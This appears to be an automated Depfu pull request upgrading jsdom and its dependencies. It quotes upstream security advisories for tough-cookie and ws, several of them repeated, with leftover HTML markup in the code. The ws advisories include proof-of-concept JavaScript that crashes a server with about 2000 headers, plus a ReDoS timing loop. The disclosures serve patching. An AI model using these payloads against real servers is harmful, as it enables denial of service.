🚨 [security] Update jsdom 11.11.0 → 24.1.2 (major)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ jsdom (11.11.0 → 24.1.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ data-urls (indirect, 1.1.0 → 5.0.0) · Repo

Release Notes

5.0.0

More info than we can show here.

4.0.0

More info than we can show here.

3.0.2

More info than we can show here.

3.0.1

More info than we can show here.

3.0.0

More info than we can show here.

2.0.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ form-data (indirect, 2.3.3 → 4.0.0) · Repo

Release Notes

4.0.0

More info than we can show here.

3.0.1

More info than we can show here.

2.5.1

More info than we can show here.

2.5.0

More info than we can show here.

2.4.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ mime-db (indirect, 1.44.0 → 1.52.0) · Repo · Changelog

Release Notes

1.52.0

More info than we can show here.

1.51.0

More info than we can show here.

1.50.0

More info than we can show here.

1.49.0

More info than we can show here.

1.48.0

More info than we can show here.

1.47.0

More info than we can show here.

1.46.0 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ mime-types (indirect, 2.1.27 → 2.1.35) · Repo · Changelog

Release Notes

2.1.35

More info than we can show here.

2.1.34

More info than we can show here.

2.1.33

More info than we can show here.

2.1.32

More info than we can show here.

2.1.31

More info than we can show here.

2.1.30

More info than we can show here.

2.1.29

More info than we can show here.

2.1.28

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ parse5 (indirect, 4.0.0 → 7.1.2) · Repo

Release Notes

7.1.2

More info than we can show here.

7.1.0

More info than we can show here.

7.0.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ psl (indirect, 1.8.0 → 1.9.0) · Repo

Release Notes

1.9.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ punycode (indirect, 2.1.1 → 2.3.1) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ tough-cookie (indirect, 2.5.0 → 4.1.4) · Repo · Changelog

Security Advisories 🚨

🚨 tough-cookie Prototype Pollution vulnerability

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.

Release Notes

4.1.4

More info than we can show here.

4.1.3

More info than we can show here.

4.1.2

More info than we can show here.

4.1.1

More info than we can show here.

4.1.0

More info than we can show here.

4.0.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ tr46 (indirect, 1.0.1 → 5.0.0) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ webidl-conversions (indirect, 4.0.2 → 7.0.0) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ whatwg-url (indirect, 6.5.0 → 14.0.0) · Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ ws (indirect, 4.1.0 → 8.18.0) · Repo

Security Advisories 🚨

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

Patches

The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

• #2230
• #2231

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

Patches

The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

• #2230
• #2231

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

Patches

The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

• #2230
• #2231

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

Patches

The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

• #2230
• #2231

🚨 ReDoS in Sec-Websocket-Protocol header

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);

}

Patches

The vulnerability was fixed in [email protected] (00c425e) and backported to [email protected] (78c676d) and [email protected] (76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

🚨 ReDoS in Sec-Websocket-Protocol header

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);

}

Patches

The vulnerability was fixed in [email protected] (00c425e) and backported to [email protected] (78c676d) and [email protected] (76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

🚨 ReDoS in Sec-Websocket-Protocol header

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);

}

Patches

The vulnerability was fixed in [email protected] (00c425e) and backported to [email protected] (78c676d) and [email protected] (76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 agent-base (added, 7.1.1)

🆕 decimal.js (added, 10.4.3)

🆕 entities (added, 4.5.0)

🆕 http-proxy-agent (added, 7.0.2)

🆕 https-proxy-agent (added, 7.0.5)

🆕 is-potential-custom-element-name (added, 1.0.1)

🆕 querystringify (added, 2.2.0)

🆕 requires-port (added, 1.0.0)

🆕 rrweb-cssom (added, 0.7.1)

🆕 saxes (added, 6.0.0)

🆕 universalify (added, 0.2.0)

🆕 url-parse (added, 1.5.10)

🆕 w3c-xmlserializer (added, 5.0.0)

🆕 xmlchars (added, 2.2.0)

🗑️ abab (removed)

🗑️ acorn (removed)

🗑️ acorn-globals (removed)

🗑️ acorn-walk (removed)

🗑️ ajv (removed)

🗑️ array-equal (removed)

🗑️ asn1 (removed)

🗑️ assert-plus (removed)

🗑️ async-limiter (removed)

🗑️ aws-sign2 (removed)

🗑️ aws4 (removed)

🗑️ bcrypt-pbkdf (removed)

🗑️ browser-process-hrtime (removed)

🗑️ caseless (removed)

🗑️ core-util-is (removed)

🗑️ cssom (removed)

🗑️ dashdash (removed)

🗑️ deep-is (removed)

🗑️ domexception (removed)

🗑️ ecc-jsbn (removed)

🗑️ escodegen (removed)

🗑️ esprima (removed)

🗑️ estraverse (removed)

🗑️ esutils (removed)

🗑️ extend (removed)

🗑️ extsprintf (removed)

🗑️ fast-deep-equal (removed)

🗑️ fast-json-stable-stringify (removed)

🗑️ fast-levenshtein (removed)

🗑️ forever-agent (removed)

🗑️ getpass (removed)

🗑️ har-schema (removed)

🗑️ har-validator (removed)

🗑️ http-signature (removed)

🗑️ is-typedarray (removed)

🗑️ isstream (removed)

🗑️ jsbn (removed)

🗑️ json-schema (removed)

🗑️ json-schema-traverse (removed)

🗑️ json-stringify-safe (removed)

🗑️ jsprim (removed)

🗑️ left-pad (removed)

🗑️ levn (removed)

🗑️ lodash.sortby (removed)

🗑️ oauth-sign (removed)

🗑️ optionator (removed)

🗑️ performance-now (removed)

🗑️ pn (removed)

🗑️ prelude-ls (removed)

🗑️ qs (removed)

🗑️ request (removed)

🗑️ request-promise-core (removed)

🗑️ request-promise-native (removed)

🗑️ sax (removed)

🗑️ source-map (removed)

🗑️ sshpk (removed)

🗑️ stealthy-require (removed)

🗑️ tunnel-agent (removed)

🗑️ tweetnacl (removed)

🗑️ type-check (removed)

🗑️ uri-js (removed)

🗑️ uuid (removed)

🗑️ verror (removed)

🗑️ w3c-hr-time (removed)

🗑️ word-wrap (removed)

---

👉 No CI detected

You don't seem to have any Continuous Integration service set up!

Without a service that will test the Depfu branches and pull requests, we can't inform you if incoming updates actually work with your app. We think that this degrades the service we're trying to provide down to a point where it is more or less meaningless.

This is fine if you just want to give Depfu a quick try. If you want to really let Depfu help you keep your app up-to-date, we recommend setting up a CI system:

* [Circle CI](https://circleci.com), [Semaphore ](https://semaphoreci.com) and [Github Actions](https://docs.github.com/actions) are all excellent options. * If you use something like Jenkins, make sure that you're using the Github integration correctly so that it reports status data back to Github. * If you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don’t want it to run on every branch, you can whitelist branches starting with `depfu/`.

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)